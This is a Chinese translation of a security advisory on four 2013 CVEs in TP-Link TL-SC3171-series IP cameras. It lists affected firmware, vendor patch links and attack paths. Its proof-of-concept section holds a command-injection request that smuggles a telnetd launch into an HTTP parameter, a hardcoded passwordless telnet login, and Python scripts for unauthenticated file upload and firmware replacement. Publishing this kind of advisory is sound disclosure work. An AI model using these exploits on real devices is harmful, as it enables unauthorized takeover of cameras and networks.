TP-Link網(wǎng)絡(luò)攝像機(jī)的多個漏洞詳細(xì)分析
漏洞描述:
TP-LinkTL-SC3171 IP Cameras網(wǎng)絡(luò)攝像機(jī)的版本為LM.1.6.18P12_sign5的固件上存在多個漏洞,這些漏洞允許攻擊者做如下的事情:
1:[CVE-2013-2578]通過文件 /cgi-bin/admin/servetest執(zhí)行任意命令。
2:[CVE-2013-2579]用硬編碼身份憑證的shell執(zhí)行任意命令。
3:[CVE-2013-2580]執(zhí)行未經(jīng)身份認(rèn)證的遠(yuǎn)程文件上傳。
4:[CVE-2013-2581]執(zhí)行未經(jīng)身份認(rèn)證的固件升級。
攻擊路徑:
通過結(jié)合這些漏洞,多個攻擊路徑可被利用。額外的攻擊路徑也是可用的,但這里的攻擊路徑可以讓你了解攻擊者如何危及受影響的的設(shè)備。
攻擊路徑1:
(驗(yàn)證:無)
1:通過[CVE-2013-2581]漏洞上傳一個已經(jīng)root的固件。
2:通過http:///cgi-bin/reboot 重啟設(shè)備。
攻擊路徑2:
(驗(yàn)證:繞過)
1:通過http:///cgi-bin/hardfactorydefault將設(shè)備重置為出廠默認(rèn)設(shè)置。之后,通過使用admin:admin作為有效的用戶和密碼繞過驗(yàn)證。
2:通過http:///cgi-bin/reboot重啟設(shè)備。
3:通過[CVE-2013-2578]漏洞開啟Telnet服務(wù)。
4:使用用戶qmik(沒有密碼)登陸Telnet服務(wù),并使該設(shè)備作為樞軸點(diǎn)。
受影響的設(shè)備和固件:
TP-Link TL-SC3130 (固件版本LM.1.6.18P12_sign5及以下) TP-Link TL-SC3130G (固件版本LM.1.6.18P12_sign5及以下) TP-Link TL-SC3171 (固件版本M.1.6.18P12_sign5及以下) TP-Link TL-SC3171G (固件版本LM.1.6.18P12_sign5及以下)
其他的TP-Link網(wǎng)絡(luò)攝像機(jī)和固件版本可能也受影響。
供應(yīng)商信息,解決方案和解決方法:
廠商提供的測試版修補(bǔ)固件版本鏈接如下:
[3] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3130.zip
[4] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3130G.zip
[5] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3171.zip
[6] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3171G.zip
最終的正式版本將公布在未來數(shù)天,請聯(lián)系TP-LINK了解更多信息。
技術(shù)細(xì)節(jié)說明和PoC:
1:servetest中的操作系統(tǒng)命令注入
[CVE-2013-2578]文件/cgi-bin/admin/servetest有幾個參數(shù)可以被用于操作系統(tǒng)命令注入,這會導(dǎo)致通過身份驗(yàn)證的用戶可以執(zhí)行任意命令。下面的PoC啟動telnet服務(wù):
GET
/cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q
HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: <a href="http://192.168.1.100/progress.htm">http://192.168.1.100/progress.htm</a>
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
Host: 192.168.1.100
Proxy-Connection: Keep-Alive
Cookie: VideoFmt=1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 2
2:telnet服務(wù)中的硬編碼身份認(rèn)證
[CVE-2013-2579]受影響的系統(tǒng)包含一個不需要密碼的硬編碼登錄,這會導(dǎo)致遠(yuǎn)程攻擊者使用這個內(nèi)置的telnet服務(wù)來登錄受影響設(shè)備的操作系統(tǒng),用戶和密碼:
username: qmik password: (none)
qmik用戶被允許執(zhí)行命令su,這會導(dǎo)致以root權(quán)限執(zhí)行任意命令。telnet服務(wù)可以用通過[CVE-2013-2578]漏洞開啟。
3:未經(jīng)身份驗(yàn)證的遠(yuǎn)程文件上傳
[CVE-2013-2580]文件/cgi-bin/uploadfile允許未經(jīng)身份驗(yàn)證的用戶進(jìn)行遠(yuǎn)程文件上傳,下面是Python PoC:
import requests
fileName = "lala.tmp"
f = open(fileName, "w")
f.write("lala")
f.close()
requests.post("<a href="http://192.168.1.100/cgi-bin/uploadfile">http://192.168.1.100/cgi-bin/uploadfile</a>", files={fileName: open(fileName, "rb")})
上傳文件(在本例中l(wèi)ala.tmp)將會被放置在/mnt/mtd目錄中。
4:未經(jīng)身份驗(yàn)證的遠(yuǎn)程固件升級
[CVE-2013-2581]文件/cgi-bin/firmwareupgrade允許未經(jīng)身份驗(yàn)證的用戶執(zhí)行遠(yuǎn)程固件升級,PythonPoC如下:
import requests
requests.get("<a href="http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset">http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset</a>")
fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin"
cookies={"VideoFmt":"1"}
requests.post("<a href="http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset">http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset</a>", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies)
引用:
[1] TP-Link TL-SC3171, http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171.
[2] Security Analysis of IP video surveillance cameras, http://seclists.org/fulldisclosure/2013/Jun/84.
[3] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3130.zip.
[4] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3130G.zip.
[5] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3171.zip.
[6] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3171G.zip.
原文來自:http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras#other